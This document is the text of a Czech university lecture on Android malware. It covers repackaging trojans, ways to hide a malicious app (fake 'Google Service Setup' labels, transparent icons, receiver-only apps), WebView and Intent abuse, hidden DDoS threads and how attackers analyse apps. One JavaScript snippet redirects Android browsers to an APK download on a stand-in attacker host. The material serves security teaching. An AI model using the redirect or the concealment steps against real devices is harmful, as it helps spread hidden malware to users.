Mobilní malware na platformě Android – Přednáška 1 Ing. Milan Oulehla
Úvod 1 Informace o přednášce: odhalení bezpečnostních chyb na základě vlastního výzkumu: • systémové dokumentace • studia bezpečnostních mechanismů
Úvod 2
Úvod 3 Informace o přednášce: o technikách, které používají tvůrci mobilního malware: • Bezpečnost – živý organismus • Vytvoření vlastních zdrojových kódů • Replikace postupů
APK infekce 1 APK repackage legitimní (placené) aplikace: • Dekopilace • Vložení malware kódu (Smali) • Opětovný buit aplikace • Fileshare servery • Omezení této techniky Nástroje: Dex2Jar, JD-GUI, Apktool, Virtuous Ten Studio
APK infekce 2
APK infekce 3 Intruder APK (trojan) • Legitimní a nelegitimní část • Je zadarmo • „Něco za něco“ – např. tvůrce malware nabídne hru, ale ta vykrádá kontakty pro spamovou databázi, analytická data pro cílenou reklamu • Forma knihoven, JAR souborů – opětovné použití • Softwarová tržiště třetích stran • Google Play • Fileshare servery
APK infekce 4 Hidden APK 1 • Často využívá BroadcastReceiver • Používá maskovací mechanismy Dvě verze: A, Pro Android 2.3.3 a nižší – „Evil Applications“ B, Pro Android 3.0 a vyšší – povinné svázání BroadcastReceiveru a Aktivity
APK infekce 5 Hidden APK 2 - „Evil Application“ • Aplikace je tvořena pouze BroadcastReceiverem • Reakce na události • Malware kód, který na ně reaguje v metodě onReceive()
APK infekce 6 Hidden APK 3 - „Evil Application“ Maskování: V souboru AndroidManifest.xml file lze editovat parametr: android: label = "@string/app_name" pomocí .../res/values/strings.xml: <string name = "app_name">Our Malware Name <string name="app_name">Google Service Setup
APK infekce 7 Hidden APK 4 - „Evil Application“ Android nekontroluje hodnotu parametru app_name ! => může tam být cokoliv Existuje "Google Services Framework" Vymyšlené "Google Services Setup" Google 16,200 výsledků (v době vytvoření malware)
APK infekce 8 Hidden APK 5 - „Evil Application“ Změna ikony malware aplikace na systémovou z .../sdk/samples/... Výsledek:
APK infekce 9 Hidden APK 6 - „Evil Application“ Pokud je aplikace tvořena pouze BroadcastReceiverem:
APK infekce 10 Hidden APK 7 - „Evil Application“ Pokud je aplikace tvořena pouze BroadcastReceiverem:
Je spuštěna automaticky, jakmile nastane sledovaná událost => malware nepotřebuje ani <uses-permission android:name="android.permission.RECEIVE_BOOT _COMPLETED"/>
APK infekce 11 Hidden APK 8 - „Evil Application“ Pokud aplikace je aplikace tvořena pouze BroadcastReceiverem: • Neobjeví se v ikonovém seznamu aplikací (po stisku tlačítka Apps) • Objeví se pouze v seznamu naistalovaných aplikací (Settings -> Applications -> Manage applications -> List of installed applications)
APK infekce 12 Hidden APK 9 (with Activity) • Také využívá BroadcastReceiver • Je svázaný s Activity => musí používat maskovací mechanismy
APK infekce 13 Hidden APK 10 (with Activity) Úprava .../res/values/styles.xml
APK infekce 14 Hidden APK 11 (with Activity) Úprava XML souboru (layout) popisujícího GUI prvky Activity: • Odstranit všechny elementy UI jako např. TextView z XML layout souboru • Ponechat pouze základní element, který popisuje samotný layout např. RelativeLayout
APK infekce 15 Hidden APK 12 (with Activity) The display freeze fix: • Popis problému • Zavolat finish() z onResume() • Neviditelné probliknutí
APK infekce 16 Hidden APK 13 (with Activity) Manipulace parametru v .../res/values/strings.xml: <string name="app_name"> <string name="app_name"> <string name="app_name">
APK infekce 17 Hidden APK 14 (with Activity) Nahrazení standartních ikon aplikace průhlednými PNG obrázky. V adresářích: • .../res/drawable-hdpi • .../res/drawable-mdpi • .../res/drawable-xhdpi • .../res/drawable-xxhdpi
APK infekce 18 Hidden APK 15 (with Activity)
APK infekce 19 Hidden APK 16 (with Activity) výsledek:
Google Bouncer – Google Play Investigation into Google Play security mechanisms via experimental botnet
Webová infekce 1 1, 2, JavaScript function myOnLoad () { var ua = navigator.userAgent.toLowerCase(); var isAndroid = ua.indexOf("android") > -1; //&& ua.indexOf("mobile"); if(isAndroid) { window.location.href = 'http://www.attacker.com/android_download/paid_game_for_free.apk'; } else { // JINE OS } }
Webová infekce 2
Webová infekce 3
Zneužití activity-alias 1 Úprava AndroidManifest.xml: • Potlačení původní ikony v Apps programs • Přidání elementu activity-alias
Zneužití activity-alias 2
Spuštění škodlivého kódu
Zneužití JavaScriptu ve WebView 1 napadený www server
www stránka se škodlivým kódem
2 1
Aplikace s WebView
3
Zneužití JavaScriptu ve WebView 2 Video ukázka: 28_VideoWebView_JavaScript_part2
Video ukázka: 27_VideoWebView_JavaScript_part1
Skrytá realizace DDoS pomocí vlákna na pozadí AndroidVideoPlayer 1
1 DoItInBackground
Přehrávání videa Přechod na pozadí
DDoS
Video ukázka: 29_Video-DDoS_separate_thread
Jak poznat škodlivé Intenty 1 Secure inter-process communication Každá Android aplikace má přiřazeno jedinečné UID a každá musí běžet jako samostatný proces. Procesy aplikací spolu nemohou komunikovat přímo, ale musí použít „prostředníka“, např: • Intents • Network sockets • atd.
Jak poznat škodlivé Intenty 2 Video ukázka: 3_Video-Intent1-suspicious Trigger
Is screen locked?
no
yes
Do something malicious
Jak poznat škodlivé Intenty 3 Aplikace spolupracuje s uživatelem Aplikace začne akci – a uživatel ji dokončí Vývody tohoto přístupu • Aplikace nemusí žádat s oprávnění pro tyto akce • Uživatel používá standartní uživatelské komponenty, které zná a umí je ovládat • Zpátky je možné dostat výsledek akce: – startActivityForResult(intent, 1);
Jak poznat škodlivé Intenty 4 Podezřelá nebo špatně napsaná aplikace:
Normální, správně napsaná aplikace:
Lze získat i výsledek interakce s uživatelem pomocí: startActivityForResult
Jak poznat škodlivé Intenty 5 Podezřelá nebo špatně napsaná aplikace:
Jak poznat škodlivé Intenty 6 Normální, správně napsaná aplikace:
Nepotřebuje žádná oprávnění – akci (přístup k chráněným prostředkům) dokončí se „spoluúčastí“ uživatele
Třídy Android Malware 1 Malware, který útočí na uživatelské aplikace: • Krádeže citlivých uživatelský dat (např. textová komunikace instant messenger aplikace). • Krádeže aplikačních dat – část kombinovaného útoku (např. master password - internet banking aplikací).
• Zneužití bezpečnostních chyb v aplikacích (např. chyba, která umožní posílat spam přes alternativního e-mailového klienta).
Třídy Android Malware 2 Malware, který útočí na chyby v OS Malware, který útočí na chyby v HW Malware, který využívá metod sociálního inženýrství. „Napálení uživatele“, příklad dekrementace counteru
Útok na aplikaci 1
Útok na aplikaci 2
Útok na aplikaci 3
Útok na aplikaci 4
Útok na aplikaci 5 I. Statická část Hledání řetězců • Řetězce http a https – uvést příklad české firmy • Zapomenuté Stringy obsahující loginy a hesla z fáze ladění aplikace (Administrátorská úroveň Uživatelská úroveň) Video ukázka: 6_Video-StringDigging-Address
Útok na aplikaci 6 Online dekompilace AKP např. pomocí: http://www.decompileandroid.com/
Dekompilace AKP např. pomocí: Dex2jar a JD-GUI, Virtuous Ten Studio, APKTool
Útok na aplikaci 7
Útok na aplikaci 8 II. Dynamická část Stažená APK aplikace je útočníky nainstalována do: • emulátoru • rootnutého telefonu To znamená s právy superuživatele!
Útok na aplikaci 9
Útok na aplikaci 10 Video ukázka: 17_Video-Zachytavani_logu_pomoci_logcat
Děkuji Vám za pozornost.
[email protected]